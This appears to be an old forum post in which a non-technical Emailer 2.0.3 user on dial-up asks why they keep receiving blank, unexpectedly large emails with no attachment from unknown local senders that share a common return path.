For the past week or so, I have received several very strange emails. Let me try to explain, but keep in mind that I am not sure that I can describe the problem fully. I have received several emails that according to "Mail Siphon" are large enough to contain an attachment, yet there is no attachment listed nor do I find one in the download folder. For example, the header info below (from Mail Siphon) is from an email that is listed as 144.9KB, yet there is no attachment and no text in the body of the email. I don't know the sender, yet when I trace the return address by searching the web, it turns out to be someone here in my hometown.
I have received serveral of these, sometimes from different people but they all contain "Return-Path: <[EMAIL PROTECTED]" in the header, no attachements, and no text in the body. None of these seems intended for me and they don't appear to be spam. A couple of details - My actual email address is "[EMAIL PROTECTED]", but I have a forwarding service so that my mailed is addressed to "[EMAIL PROTECTED]" and then forwarded to me. I have a dial-up connection and use Emailer 2.0.3. I'm not a techie, so the header info below is mostly gobbly-gook to me. I am very curious to find out what is going on, any ideas?
